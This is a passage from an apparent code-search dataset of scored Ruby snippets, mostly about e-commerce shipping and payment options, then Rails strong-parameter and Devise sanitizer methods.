#ReqConfirmShipping\n #options.merge!({ \"addressoverride\" => '1' }) #AddressOverride\n\n # No need to provide address when selling downloadable products only\n # unless self.shipping_address.nil?\n # options.merge!(ship_options)\n # end\n\n options\n end", "title": "" }, { "docid": "dbb124b50fd97ba9d462aec3dc567571", "score": "0.53703195", "text": "def international_shipping_options(package)\n {\n :DocumentContent => @intl[:content_type],\n # :AdmissibilityPackageType => @intl[:admissibility_package_type], # not in v9\n :TermsOfSale => @intl[:terms_of_sale],\n :RegulatoryControls => @intl[:regulatory_controls], # TODO possible multiple values in v9\n :Purpose => @intl[:purpose], # TODO inside CommercialInvoice in v9\n :CustomsValue => {\n :Currency => @currency,\n :Amount => @intl[:total_customs_value]\n },\n :FreightCharge => { # TODO inside CommercialInvoice in v9\n :Currency => @currency,\n :Amount => @intl[:freight_charge]\n },\n :InsuranceCharge => {\n :Currency => @currency,\n :Amount => @intl[:insurance_charge]\n },\n :DutiesPayment => {\n :PaymentType => @intl[:duties_payment_type],\n :Payor => {\n :AccountNumber => @intl[:duties_payor_acct],\n :CountryCode => @intl[:duties_payor_country]\n }\n }, \n :Commodities => intl_commodity_line_items(package)\n }\n end", "title": "" }, { "docid": "07aa2651dfba2dfdf7e5a7ec9702bda5", "score": "0.5368746", "text": "def select_shipping_method\n @title = \"Select Your Shipping Method - Step 2 of 2\"\n @order = find_order\n if @order == nil then\n redirect_to_checkout(\"Have you entered all of this information yet?\") and return\n end\n @items = @order.order_line_items\n session[:order_shipping_types] = @order.get_shipping_prices\n # Set default price to pick what radio button should be entered\n @default_price = session[:order_shipping_types][0].id\n end", "title": "" }, { "docid": "07aa2651dfba2dfdf7e5a7ec9702bda5", "score": "0.5368746", "text": "def select_shipping_method\n @title = \"Select Your Shipping Method - Step 2 of 2\"\n @order = find_order\n if @order == nil then\n redirect_to_checkout(\"Have you entered all of this information yet?\") and return\n end\n @items = @order.order_line_items\n session[:order_shipping_types] = @order.get_shipping_prices\n # Set default price to pick what radio button should be entered\n @default_price = session[:order_shipping_types][0].id\n end", "title": "" }, { "docid": "7617b7f6b2b22ffd82d3649478c20f71", "score": "0.5367123", "text": "def drivy_options_price\n options_price drivy_options\n end", "title": "" }, { "docid": "bc89cc4e0db909d2e919843d60c77d21", "score": "0.5364483", "text": "def shipping\n seller.shipping_methods.realy[0..0].map do |item|\n {\n :zone => item.zone.try(:name),\n :cost => (item.calculator.respond_to?(:compute_for_one_variant) ? item.calculator.compute_for_one_variant(self) : 0)\n }\n end\n end", "title": "" }, { "docid": "ee2d5272d782c262f2301448cc5da237", "score": "0.536428", "text": "def shipping_methods\n response = API::SOAP::Checkout::Shipping.list(self)\n\n if response.success?\n return [] if response.body[:result][:item].nil?\n response.body[:result][:item] = [response.body[:result][:item]] unless response.body[:result][:item].is_a? Array\n\n return response.body[:result][:item]\n else\n handle_magento_response(response)\n return []\n end\n end", "title": "" }, { "docid": "3510009210fa6b2616369b4c139d5c5e", "score": "0.5362787", "text": "def options\n @tray.add_to_cart(entree)\n @tray.add_to_cart(sides)\n @tray.add_to_cart(drink)\n view_order\nend", "title": "" }, { "docid": "603e4df118b8b2aea3969b0733001d47", "score": "0.53606784", "text": "def options; service_descriptor_proto.options; end", "title": "" }, { "docid": "187d742c5aade007f44ff2963f23769f", "score": "0.53603256", "text": "def index\n @optin_services = OptinService.all\n end", "title": "" }, { "docid": "4cc03c097d5b2921118419aeedfd51ba", "score": "0.5358555", "text": "def new\n @shipping_method = @shop.shipping_methods.build\n\n respond_to do |format|\n format.html \n format.json { render json: @shipping_method }\n end\n end", "title": "" }, { "docid": "fe4aa9109bed2340df93755e4afe5ba8", "score": "0.5351024", "text": "def get_cornell_delivery_options item\n\n typeCode = (item[:temp_item_type_id].blank? or item[:temp_item_type_id] == '0') ? item[:item_type_id] : item[:temp_item_type_id]\n item_loan_type = loan_type typeCode\n request_options = []\n\n # Borrow direct check where appropriate:\n # item type is noncirculating,\n # item is not at bindery\n # item status is charged, lost, or missing\n if (item_loan_type == 'nocirc' or noncirculating? item) or\n (! [AT_BINDERY, NOT_CHARGED].include?(item[:status]))\n #if available_in_bd? self.netid, params\n if self.in_borrow_direct\n request_options.push( {:service => BD, :location => item[:location] } )\n end\n end\n\n # Document delivery should be available for all items - see DISCOVERYACCESS-1149\n # But with a few exceptions!\n if docdel_eligible? item\n request_options.push( {:service => DOCUMENT_DELIVERY })\n end\n Rails.logger.debug \"mjc12test: loantype: #{item_loan_type}, status: #{item[:status ]}\"\n # Check the rest of the cases\n if item_loan_type == 'nocirc' or noncirculating? item\n return request_options.push({:service => ILL, \n :location => item[:location]})\n elsif item_loan_type == 'regular' and item[:status] == NOT_CHARGED\n return request_options.push({:service => L2L, \n :location => item[:location] } )\n elsif item_loan_type == 'regular' and item[:status] == CHARGED\n return request_options.push({:service => ILL, \n :location => item[:location]},\n {:service => RECALL,\n :location => item[:location]},\n {:service => HOLD, \n :location => item[:location], \n :status => item[:status]})\n elsif item_loan_type == 'regular' and\n [IN_TRANSIT_DISCHARGED, IN_TRANSIT_ON_HOLD].include? item[:status]\n return request_options.push({:service => RECALL,\n :location => item[:location]},\n {:service => HOLD,\n :location => item[:location]})\n elsif (['regular','day'].include? item_loan_type) and \n ([MISSING, LOST].include? item[:status])\n return request_options.push({:service => PURCHASE, \n :location => item[:location]},\n {:service => ILL,\n :location => item[:location]})\n elsif item_loan_type == 'day' and item[:status] == CHARGED\n return request_options.push({:service => ILL, \n :location => item[:location] },\n {:service => HOLD, \n :location => item[:location], \n :status => item[:status] } )\n elsif item_loan_type == 'day' and item[:status] == NOT_CHARGED\n if Request.no_l2l_day_loan_types.include? typeCode\n return request_options\n else\n return request_options.push( {:service => L2L, \n :location => item[:location] } )\n end\n elsif item_loan_type == 'minute'\n return request_options.push( {:service => ASK_CIRCULATION, \n :location => item[:location] } )\n elsif item[:status] == AT_BINDERY\n return request_options.push( {:service => ILL, \n :location => item[:location] } )\n else\n return request_options\n end\n\n end", "title": "" }, { "docid": "486c895cd451817f58d3cf607232b682", "score": "0.53455645", "text": "def paypoint_site_opts\n {}\n end", "title": "" }, { "docid": "b328740890a20bed4c2d85c405f914b4", "score": "0.53438014", "text": "def url( order, options = {} )\n pc_wap_params = {\n total_fee: order.total - order.payments.valid.where(source_type: 'Spree::StoreCredit').sum(:amount) \n }\n pc_escrow_params = {\n :price => order.item_total,\n :quantity => 1,\n :logistics_type=> 'EXPRESS',\n :logistics_fee => order.shipments.to_a.sum(&:cost),\n :logistics_payment=>'BUYER_PAY' }\n\n case service\n when Gateway::AlipayBase::ServiceEnum.alipay_wap\n options.merge!( pc_wap_params )\n #::Alipay::Service.create_direct_pay_by_user_wap_url( options )\n# binding.pry\n $alipayclient.page_execute_url(\n method: 'alipay.trade.wap.pay',\n return_url: options[:return_url],\n notify_url: options[:notify_url],\n biz_content: JSON.generate({\n out_trade_no: options[:out_trade_no], \n product_code: 'QUICK_WAP_WAY',\n total_amount: options[:total_fee],\n subject: options[:subject],\n quit_url: options[:return_url], #todo change\n }, ascii_only: true)\n )\n\n \n when Gateway::AlipayBase::ServiceEnum.create_direct_pay_by_user\n options.merge!( pc_wap_params )\n \n #create_direct_pay_by_user\n $alipayclient.page_execute_url(\n method: 'alipay.trade.page.pay',\n biz_content: {\n out_trade_no: options[:out_trade_no],\n product_code: 'FAST_INSTANT_TRADE_PAY',\n total_amount: options[:total_fee],\n subject: options[:subject]\n }.to_json(ascii_only: true),\n return_url: options[:return_url],\n notify_url: options[:notify_url],\n )\n \n #::Alipay::Service.create_direct_pay_by_user_url( options )\n when Gateway::AlipayBase::ServiceEnum.create_partner_trade_by_buyer\n # escrow service\n options.merge!( pc_escrow_params )\n ::Alipay::Service.create_partner_trade_by_buyer_url( options )\n when Gateway::AlipayBase::ServiceEnum.trade_create_by_buyer\n options.merge!( pc_escrow_params )\n ::Alipay::Service.trade_create_by_buyer_url( options )\n end\n end", "title": "" }, { "docid": "b9fc5ee843e8993c0b85bf69d2815fdc", "score": "0.5318153", "text": "def get_services()\n exec_get(\"#{@base_path}/api/v2/vendors/services.json?api_key=#{@api_key}\")\n end", "title": "" }, { "docid": "7333e73b7716cc6d2c8c91527b5533d9", "score": "0.5316845", "text": "def each_shipping_configuration(client, org, limit=200, offset=0, &block)\n all = client.shipping_configurations.get(org, :limit => limit, :offset => offset)\n\n all.each do |sc|\n next if sc.type != ::Io::Flow::V0::Models::ShippingConfigurationType.variant\n yield sc\n end\n\n if all.size >= limit\n each_shipping_configuration(client, org, limit, offset + limit, &block)\n end\nend", "title": "" }, { "docid": "17586bfbd87eff9e30d46da681c36975", "score": "0.53126866", "text": "def cart_shipping_zones_list_with_http_info(opts = {})\n if @api_client.config.debugging\n @api_client.config.logger.debug \"Calling API: CartApi.cart_shipping_zones_list ...\"\n end\n # resource path\n local_var_path = \"/cart.shipping_zones.list.json\"\n\n # query parameters\n query_params = {}\n query_params[:'store_id'] = opts[:'store_id'] if !opts[:'store_id'].nil?\n\n # header parameters\n header_params = {}\n # HTTP header 'Accept' (if needed)\n header_params['Accept'] = @api_client.select_header_accept(['application/json'])\n # HTTP header 'Content-Type'\n header_params['Content-Type'] = @api_client.select_header_content_type(['application/x-www-form-urlencoded'])\n\n # form parameters\n form_params = {}\n\n # http body (model)\n post_body = nil\n auth_names = ['api_key', 'store_key']\n data, status_code, headers = @api_client.call_api(:GET, local_var_path,\n :header_params => header_params,\n :query_params => query_params,\n :form_params => form_params,\n :body => post_body,\n :auth_names => auth_names,\n :return_type => 'InlineResponse20025')\n if @api_client.config.debugging\n @api_client.config.logger.debug \"API called: CartApi#cart_shipping_zones_list\\nData: #{data.inspect}\\nStatus code: #{status_code}\\nHeaders: #{headers}\"\n end\n return data, status_code, headers\n end", "title": "" }, { "docid": "1f22a33988bd267e58e7703280a9e225", "score": "0.5307998", "text": "def options(options = {})\n request :options, options\n end", "title": "" }, { "docid": "1982d987f985e731f5d3fcddb216360c", "score": "0.53076965", "text": "def order_opts(order, payment_method, stage)\n items = order.line_items.map do |item|\n price = (item.price * 100).to_i # convert for gateway\n { :name => \"#{order.invoice}\",\n :description => (item.variant.product.description[0..120] if item.variant.product.description),\n :sku => item.variant.sku,\n :quantity => item.quantity,\n :amount => price,\n :weight => item.variant.weight,\n :height => item.variant.height,\n :width => item.variant.width,\n :depth => item.variant.weight }\n end\n\n credits = order.adjustments.map do |credit|\n if credit.amount < 0.00\n { :name => credit.label,\n :description => credit.label,\n :sku => credit.id,\n :quantity => 1,\n :amount => (credit.amount*100).to_i }\n end\n end\n\n credits_total = 0\n credits.compact!\n if credits.present?\n items.concat credits\n credits_total = credits.map {|i| i[:amount] * i[:quantity] }.sum\n end\n\n if params[:host_with_port].nil?\n params[:host_with_port] = request.host_with_port\n end\n\n opts = { :return_url => request.protocol + params[:host_with_port] + \"/confirm/\" + \"orders/#{order.invoice}/checkout/paypal_confirm?payment_method_id=#{payment_method}\",\n :cancel_return_url => request.protocol + params[:host_with_port],\n :order_id => order.invoice,\n :custom => order.invoice,\n :items => items,\n :subtotal => ((order.item_total * 100) + credits_total).to_i,\n :tax => ((order.adjustments.map { |a| a.amount if ( a.source_type == 'Order' && a.label == 'Tax') }.compact.sum) * 100 ).to_i,\n :shipping => ((order.adjustments.map { |a| a.amount if a.source_type == 'Shipment' }.compact.sum) * 100 ).to_i,\n :money => (order.total * 100 ).to_i }\n\n # add correct tax amount by subtracting subtotal and shipping otherwise tax = 0 -> need to check adjustments.map\n #opts[:tax] = (order.total*100).to_i - opts.slice(:subtotal, :shipping).values.sum\n\n if stage == \"checkout\"\n opts[:handling] = 0\n\n opts[:callback_url] = spree_root_url + \"paypal_express_callbacks/#{order.invoice}\"\n opts[:callback_timeout] = 3\n elsif stage == \"payment\"\n #hack to add float rounding difference in as handling fee - prevents PayPal from rejecting orders\n #because the integer totals are different from the float based total. This is temporary and will be\n #removed once Spree's currency values are persisted as integers (normally only 1c)\n opts[:handling] = (order.total*100).to_i - opts.slice(:subtotal, :tax, :shipping).values.sum\n end\n\n opts\n end", "title": "" }, { "docid": "c50efd68042ccf027d4a96809781c4d9", "score": "0.5301641", "text": "def query_settings(options={}) path = \"/api/v2/settings\"\n get(path, options, AvaTax::VERSION) end", "title": "" }, { "docid": "4138aa7d10ec78c9f60250e74b5f6cb6", "score": "0.5299662", "text": "def set_shipping_service_provider\n @shipping_service_provider = ShippingServiceProvider.find(params[:id])\n end", "title": "" }, { "docid": "66a4f0b624f62b24b18e0c61f3326faa", "score": "0.52920866", "text": "def faraday_opts; end", "title": "" }, { "docid": "1da3123a4a15d02ea1046e3a672354ea", "score": "0.5287557", "text": "def options uri, args = {}; Request.new(OPTIONS, uri, args).execute; end", "title": "" }, { "docid": "0cc1281fdb15605310e9680530812f96", "score": "0.5285368", "text": "def show\n @shipping_category = @shop.shipping_categories.find params[:id]\n\n respond_to do |format|\n format.html\n format.json { render json: @shipping_category }\n end\n end", "title": "" }, { "docid": "a5615b3beeb1e831fb4a2d6fc5b26769", "score": "0.52843845", "text": "def initialize(service)\n @service = service\n @options = Options.new\n @service.addService('options', @options)\n\n end", "title": "" }, { "docid": "a0188b3886a6052feef8a5f5374889cb", "score": "0.5284253", "text": "def options_service\n @options_service ||= UserOptionsService.new(self, 'options')\n end", "title": "" }, { "docid": "8ce1f7a60e2a1e0bfbb0b0e5199e0e1a", "score": "0.52810353", "text": "def index\n @shipping_methods = ShippingMethod.all\n end", "title": "" }, { "docid": "1e95ae66aaeb3fa199ae424d176ffe6e", "score": "0.52762914", "text": "def set_ShippingServiceCost(value)\n set_input(\"ShippingServiceCost\", value)\n end", "title": "" }, { "docid": "1e95ae66aaeb3fa199ae424d176ffe6e", "score": "0.5275659", "text": "def set_ShippingServiceCost(value)\n set_input(\"ShippingServiceCost\", value)\n end", "title": "" }, { "docid": "1e95ae66aaeb3fa199ae424d176ffe6e", "score": "0.5275659", "text": "def set_ShippingServiceCost(value)\n set_input(\"ShippingServiceCost\", value)\n end", "title": "" } ]
1eadf00dab4dd32ce0f52b9a7fe5c458
If you have extra params to permit, append them to the sanitizer.
[ { "docid": "a26d01f349d7517425688abe1b6980d4", "score": "0.0", "text": "def configure_sign_up_params\n devise_parameter_sanitizer.for(:sign_up).push(:username, :x, :y)\n end", "title": "" } ]
[ { "docid": "9f3b62fe05ad1542504f6ef13056ac4e", "score": "0.6905034", "text": "def sanitize_parameters!(sanitizer, params)\n # replace :readwrite with :onlyif\n if params.has_key?(:readwrite)\n warn \":readwrite is deprecated. Replacing with :onlyif\"\n params[:onlyif] = params.delete(:readwrite)\n end\n\n # add default parameters\n bindata_default_parameters.each do |k,v|\n params[k] = v unless params.has_key?(k)\n end\n\n # ensure mandatory parameters exist\n bindata_mandatory_parameters.each do |prm|\n if not params.has_key?(prm)\n raise ArgumentError, \"parameter ':#{prm}' must be specified \" +\n \"in #{self}\"\n end\n end\n\n # ensure mutual exclusion\n bindata_mutually_exclusive_parameters.each do |param1, param2|\n if params.has_key?(param1) and params.has_key?(param2)\n raise ArgumentError, \"params #{param1} and #{param2} \" +\n \"are mutually exclusive\"\n end\n end\n end", "title": "" }, { "docid": "e164094e79744552ae1c53246ce8a56c", "score": "0.683687", "text": "def strong_params\n params.require(:user).permit(param_whitelist)\n end", "title": "" }, { "docid": "8091c3e7b94c717c25d9ecbc5a2855b5", "score": "0.68280804", "text": "def devise_parameter_sanitizer; end", "title": "" }, { "docid": "bac98b104607ad84410a73c433963bd4", "score": "0.67889357", "text": "def update_sanitized_params\n\t\t\tdevise_parameter_sanitizer.for(:sign_up) {|u| u.permit(:name, :email, :password, :password_confirmation)}\n\t\tend", "title": "" }, { "docid": "17f1723573aa3f1d8127a2a18f10e5d2", "score": "0.6674015", "text": "def sign_up_params\n devise_parameter_sanitizer.sanitize(:sign_up)\n end", "title": "" }, { "docid": "72a9d1c2f3d409d1d0d461d3c0e79b87", "score": "0.66522104", "text": "def update_sanitized_params\n devise_parameter_sanitizer.for(:sign_up) {|u| u.permit(:password_confirmation ,:password ,:email, :role, :avatar, :avatar_cache, :remove_avatar, :invite_code, :firstname, :lastname)}\n end", "title": "" }, { "docid": "e662f0574b56baff056c6fc4d8aa1f47", "score": "0.66448265", "text": "def strong_params\n params.require(:listing_member).permit(param_whitelist)\n end", "title": "" }, { "docid": "c5f294dd85260b1f3431a1fbbc1fb214", "score": "0.6595933", "text": "def strong_params\n params.require(:education).permit(param_whitelist)\n end", "title": "" }, { "docid": "b7a7b28775d144719f33dc7d1117fa2b", "score": "0.65606564", "text": "def permit(*permitted)\n hardened_params = params.dup\n\n hardened_params.keep_if { |k, _v| permitted.flatten.include?(k.to_sym) }\n\n hardened_params.symbolize_keys\n end", "title": "" }, { "docid": "6900bb74782e4e12b352fb52bd294931", "score": "0.64921725", "text": "def update_sanitized_params\n devise_parameter_sanitizer.for(:sign_up) {|u| u.permit(:name, :email, :approved , :password, :password_confirmation,:approved, :role_ids => [], affiliate_person_attributes: [:name], :performer_attributes => [ :first_name, :avatar, :photo_id, :profile_thumb, :profile_gif, :photo_id, :location_id, :avatar, :id, :white_label_id, :twitter_sign_in, :video_upload_twitter, :order_placed_twitter] )}\n devise_parameter_sanitizer.for(:account_update) {|u| u.permit(:name, :email, :password, :password_confirmation,:approved, :sign_in_twitter, :video_upload_twitter, :order_placed_twitter, :performer => [], :role_ids => [], :performer_attributes => [ :first_name, :avatar, :photo_id, :profile_thumb, :profile_gif, :photo_id, :location_id, :avatar, :id, :white_label_id])}\n end", "title": "" }, { "docid": "1edc20bd18c43fcf7fc5b92d1da8b226", "score": "0.6489163", "text": "def update_sanitized_params\n devise_parameter_sanitizer.for(:sign_up) {|u| u.permit(:email, :password, :password_confirmation, :phone)}\n devise_parameter_sanitizer.for(:account_update) {|u| u.permit(:email, :password, :password_confirmation, :phone)}\n end", "title": "" }, { "docid": "068f8502695b7c7f6d382f8470180ede", "score": "0.64781183", "text": "def strong_params\n params.require(:team_member).permit(param_whitelist)\n end", "title": "" }, { "docid": "631f07548a1913ef9e20ecf7007800e5", "score": "0.64483696", "text": "def restricted_params\n #params.require(self.controller_name.classify.underscore.to_sym).permit([])\n raise(\"No strong params set, override restricted_params method in your controller. E.g. params.require(:model).permit(:attribute1, :attribute2)\")\n end", "title": "" }, { "docid": "38a9fb6bd1d9ae5933b748c181928a6b", "score": "0.64394945", "text": "def safe_params\n params.require(:user).permit(:name)\n end", "title": "" }, { "docid": "79b8b316e1ef83582bdac4629996dc37", "score": "0.6419598", "text": "def permit_all_params options = {}\n prepend_before_filter do\n self.params.deep_permit!\n end\n end", "title": "" }, { "docid": "6ab96b7390d17c25390120b0d217ea22", "score": "0.6419251", "text": "def sanitize_params\n if valid_lease?\n sanitize_lease_params\n elsif valid_embargo?\n sanitize_embargo_params\n elsif !wants_lease? && !wants_embargo?\n sanitize_unrestricted_params\n else\n @attributes\n end\n end", "title": "" }, { "docid": "21b124098cb3c128802e22b776b3f0ec", "score": "0.63999707", "text": "def sanitize_params_for user, params, allowed_params\n params.each do |key, val|\n #if allowed_params.include?(key)\n #sanitize!(user, params, key) if key =~ /_attributes|_ids$/\n #else\n #params.delete(key)\n #end\n params.delete(key) unless allowed_params.include?(key.to_sym)\n end\n end", "title": "" }, { "docid": "6cfe1f2e4a55f6e4beeaef590b0a1391", "score": "0.63977224", "text": "def sanitized_allowed_attributes=(attributes); end", "title": "" }, { "docid": "6cfe1f2e4a55f6e4beeaef590b0a1391", "score": "0.63977224", "text": "def sanitized_allowed_attributes=(attributes); end", "title": "" }, { "docid": "98363cc6e225847e0563ace04ddadf59", "score": "0.63934815", "text": "def update_sanitized_params\n\t\tdevise_parameter_sanitizer.for(:sign_up) \t\t\t\t{ |u| u.permit(:name, :email, :password, :password_confirmation, :company, :role_type, :celp_no, :approval, :authorize) }\n\t\tdevise_parameter_sanitizer.for(:account_update) { |u| u.permit(:name, :email, :password, :password_confirmation, :current_password, :company, :role_type, :celp_no, :approval, :authorize) }\n\tend", "title": "" }, { "docid": "cf5c0e18776ef8777c4cf4687793fb0c", "score": "0.6381383", "text": "def student_params(*args) #is the helper method \n\n\t\tparams.require(:student).permit(*args)\n\t\t#uses .require and .permit methods as stronger params to prevent hacks through inspect element right click edit html \n\t\t#require restricts, permit allows, and *args is for the custom arguments\n\tend", "title": "" }, { "docid": "c8d1b09827dbe3a963c60c741dc68594", "score": "0.63552105", "text": "def allow_params(action, keys: nil, except: nil, &blk)\n keys &&= Array.wrap(keys)\n keys ||= User.field_names\n except &&= Array.wrap(except)\n except ||= %i[id email]\n devise_parameter_sanitizer.permit(action, keys: keys, except: except, &blk)\n end", "title": "" }, { "docid": "533f1ba4c3ab55e79ed9b259f67a70fb", "score": "0.6351666", "text": "def strong_params\n params.require(:experience).permit(param_whitelist)\n end", "title": "" }, { "docid": "e3089e0811fa34ce509d69d488c75306", "score": "0.63470167", "text": "def devise_filter\r\n logger.debug(\"In devise_filter =>PARAMS: #{params.inspect}\")\r\n\r\n # White list for sign_up\r\n devise_parameter_sanitizer.for(:sign_up) { |u| u.permit(user_whitelist) }\r\n\r\n # White list for account update\r\n devise_parameter_sanitizer.for(:account_update) { |u| u.permit(user_whitelist, :current_password) }\r\n\r\n # White list for Invitation creation\r\n devise_parameter_sanitizer.for(:invite) { |u| u.permit(:account_type, :email, :invitation_token)}\r\n\r\n # White list for accept invitation\r\n devise_parameter_sanitizer.for(:accept_invitation) { |u| u.permit(user_whitelist, :invitation_token)}\r\n\r\n end", "title": "" }, { "docid": "eb5b91d56901f0f20f58d574d155c0e6", "score": "0.6263344", "text": "def whitelist_person_params\n params.require(:person).permit(:family, :pre_title, :given_name, :dates, :post_title, :epithet, :dates_of_office, same_as: [], related_authority: [], altlabel: [], note: []) # Note - arrays need to go at the end or an error occurs!\n end", "title": "" }, { "docid": "ab49b0baeea5bf6f204adca9e864094e", "score": "0.62456423", "text": "def secure_params(require_param, permit_keys)\n params.require(require_param).permit(*permit_keys)\n end", "title": "" }, { "docid": "760ea0a0a32f17b8e45dea2dcaa6e85e", "score": "0.6201932", "text": "def devise_parameter_sanitizer\n if resource_class == User\n User::ParameterSanitizer.new(User, :user, params)\n else\n super\n end\n end", "title": "" }, { "docid": "760ea0a0a32f17b8e45dea2dcaa6e85e", "score": "0.6201932", "text": "def devise_parameter_sanitizer\n if resource_class == User\n User::ParameterSanitizer.new(User, :user, params)\n else\n super\n end\n end", "title": "" }, { "docid": "93783c9b6c03c3bd41f75234b31911f8", "score": "0.61927104", "text": "def cancan_parameter_sanitizer\n resource = controller_name.singularize.to_sym\n method = \"#{resource}_params\"\n params[resource] &&= send(method) if respond_to?(method, true)\n end", "title": "" }, { "docid": "196f08359b3a11938974363e8b5f31ba", "score": "0.61919683", "text": "def sanitize_attrs(attrs = {}, permitted = [])\n sanitized = {}\n attrs.each do |key, value|\n sanitized[key.to_s] = value if permitted.include?(key.to_s)\n end\n sanitized\n end", "title": "" }, { "docid": "ff55cf04e6038378f431391ce6314e27", "score": "0.6170647", "text": "def additional_permitted_params\n []\n end", "title": "" }, { "docid": "abca6170eec412a7337563085a3a4af2", "score": "0.6156662", "text": "def question_params\n params.require(:survey_question).permit(question_whitelist)\n end", "title": "" }, { "docid": "9afb646948f2e93a96015eb0ea0b1289", "score": "0.61398244", "text": "def student_params\n params.require(:student).permit(:name, :sex, :birthplace, :birthdate, :phone, :email, :employment,\n :street_address, :district, :regency_city, :religion, :registered_at,\n :avatar, :crop_x, :crop_y, :crop_w, :crop_h).tap do |whitelisted|\n if params[:student][:biodata]\n whitelisted[:biodata] = params[:student][:biodata]\n end\n end\n end", "title": "" }, { "docid": "2ce1ea5a9612e3b22167ec09d3ec96a5", "score": "0.61027503", "text": "def user_strong_params\n html_safe(params[:user]).strip\n end", "title": "" }, { "docid": "4658b5ebaf35abb1b89c071aed7e018c", "score": "0.6095907", "text": "def admin_review_params\n params.fetch(:review, {}).permit(whitelisted_params)\n end", "title": "" }, { "docid": "e291b3969196368dd4f7080a354ebb08", "score": "0.6092075", "text": "def permitir_parametros\n \t\tparams.permit!\n \tend", "title": "" }, { "docid": "d17287b48784257580d7e0971173c983", "score": "0.60888684", "text": "def permit( params, whitelist, name = nil )\n raise 'Parametrization not yet configured' unless @configured\n whitelist ||= []\n px = params.respond_to?( :permit ) ? params : ActionController::Parameters.new( params )\n px = dig(px, name)\n px.permit( *whitelist )\n end", "title": "" }, { "docid": "8e88cff066899440218be0e10df9d32f", "score": "0.60829175", "text": "def update_sanitized_params\n\t\t\tif \"#{resource_name}\" == \"lecturer\"\n\t\t\t\tdevise_parameter_sanitizer.for(:sign_up) {\n\t\t\t\t\t|lecturer| lecturer.permit(:name, :email,\n\t\t\t\t\t\t:password, :password_confirmation,\n\t\t\t\t\t\t:university, :department)\n\t\t\t\t}\n\t\t\t\tdevise_parameter_sanitizer.for(:account_update) {\n\t\t\t\t\t|lecturer| lecturer.permit(:name, :current_password,\n\t\t\t\t\t\t:password, :password_confirmation,\n\t\t\t\t\t\t:university, :department,\n\t\t\t\t\t\t:profile_image, :profile_image_cache)\n\t\t\t\t}\n\t\t\telsif \"#{resource_name}\" == \"student\"\n\t\t\t\tdevise_parameter_sanitizer.for(:sign_up) {\n\t\t\t\t\t|student| student.permit(:name, :email,\n\t\t\t\t\t\t:password, :password_confirmation,\n\t\t\t\t\t\t:university, :faculty, :major, :semester,\n\t\t\t\t\t\t:advising, :probation)\n\t\t\t\t}\n\t\t\t\tdevise_parameter_sanitizer.for(:account_update) {\n\t\t\t\t\t|student| student.permit(:name, :current_password,\n\t\t\t\t\t\t:password, :password_confirmation,\n\t\t\t\t\t\t:university, :faculty, :major, :semester,\n\t\t\t\t\t\t:advising, :probation, :profile_image,\n\t\t\t\t\t\t:profile_image_cache)\n\t\t\t\t}\n\t\t\telsif \"#{resource_name}\" == \"teaching_assistant\"\n\t\t\t\tdevise_parameter_sanitizer.for(:sign_up) {\n\t\t\t\t\t|teaching_assistant| teaching_assistant.permit(:name,\n\t\t\t\t\t\t:email, :password, :password_confirmation,\n\t\t\t\t\t\t:graduated_from, :graduated_year, :degree,\n\t\t\t\t\t\t:university, :department)\n\t\t\t\t}\n\t\t\t\tdevise_parameter_sanitizer.for(:account_update) {\n\t\t\t\t\t|teaching_assistant| teaching_assistant.permit(:name,\n\t\t\t\t\t\t:current_password, :password, :password_confirmation,\n\t\t\t\t\t\t:graduated_from, :graduated_year, :degree,\n\t\t\t\t\t\t:university, :department, :profile_image,\n\t\t\t\t\t\t:profile_image_cache)\n\t\t\t\t}\n\t\t\tend\n\t\tend", "title": "" }, { "docid": "3c8ffd5ef92e817f2779a9c56c9fc0e9", "score": "0.6078085", "text": "def quote_params\n params.permit!\n end", "title": "" }, { "docid": "94a26202101c4478cdd1a735b86ada98", "score": "0.6074742", "text": "def configure_permitted_parameters\n extra_params = [:full_name, :programme, :student_number]\n devise_parameter_sanitizer.for(:sign_up).push(*extra_params)\n devise_parameter_sanitizer.for(:account_update).push(*extra_params)\n end", "title": "" }, { "docid": "da8404c11852f41c5a813625b7640e46", "score": "0.6032367", "text": "def post_card_params\n params[:post_card].permit!\n end", "title": "" }, { "docid": "cf3a0c0635625d213ecf832e5f0eb56d", "score": "0.5991786", "text": "def sanitize_params(params = params)\n params = walk_hash(params) if params\n end", "title": "" }, { "docid": "b32229655ba2c32ebe754084ef912a1a", "score": "0.597175", "text": "def expected_permitted_parameter_names; end", "title": "" }, { "docid": "56e29f7cc0f2f4ac538af32e413dbd2f", "score": "0.5967426", "text": "def white_params\n params.require(:therapist).permit(Therapist.therapist_whitelist, \n therapist_availability_attributes:Therapist.therapist_availability_whitelist, \n therapist_availability_rec_attributes:Therapist.therapist_recurring_whitelist)\n end", "title": "" }, { "docid": "b074031c75c664c39575ac306e13028f", "score": "0.59671617", "text": "def safe_params\n params.permit(:id, :name, :origin, :emails => []); #emails is an array\n end", "title": "" }, { "docid": "d625fbd6570a8a86e0588529d8c9d85b", "score": "0.596185", "text": "def permit_params_on_create *keys\n filter_strong_params :permit, [:create], keys\n end", "title": "" }, { "docid": "236d6f6a5f10ed527d95f3f7e56460d5", "score": "0.5957206", "text": "def sanitize_params(params = params)\n params = walk_hash(params) if params\n end", "title": "" }, { "docid": "6ead0298fcec221cb89d208836597b05", "score": "0.5954368", "text": "def surgery_params\n params.require(:surgery).permit(:name)\n end", "title": "" }, { "docid": "12553a99d7dbcd459d770424e53f80ea", "score": "0.5938198", "text": "def safe_params\n params.require(:youtube_search).permit(:search_terms, :alert_on_new_result)\n end", "title": "" }, { "docid": "5eab212b1d0d7075557410e979fdcb85", "score": "0.59285605", "text": "def post_params\n permit_params\n end", "title": "" }, { "docid": "c04a150a23595af2a3d515d0dfc34fdd", "score": "0.5927781", "text": "def strong_params\n params.require(:community).permit(param_whitelist)\n end", "title": "" }, { "docid": "72d8b74e95db3244aec3002ca7d5dd0e", "score": "0.59138155", "text": "def update_sanitized_params\n devise_parameter_sanitizer.permit(:account_update) do |user_params|\n user_params.permit(:name, :last_name, :login, :about, :adress, :email, :country,:avatar,:terms_of_service, :birth_date,:current_password, :password, :password_confirmation, :zip_code, :city, :phone)\n end\n\n devise_parameter_sanitizer.permit(:sign_up) do |user_params|\n user_params.permit(:name, :last_name, :login, :about, :email, :country,:avatar,:terms_of_service, :birth_date,:current_password, :password, :password_confirmation, :zip_code, :city, :phone)\n end\n\n devise_parameter_sanitizer.permit(:sign_in) do |user_params|\n user_params.permit(:name, :last_name, :login, :about, :email, :country,:avatar,:terms_of_service, :birth_date,:current_password, :password, :password_confirmation, :zip_code, :city, :phone)\n end\n \n end", "title": "" }, { "docid": "e310f8ae001392da6281c299a2572677", "score": "0.59032714", "text": "def filter_params(param_set, 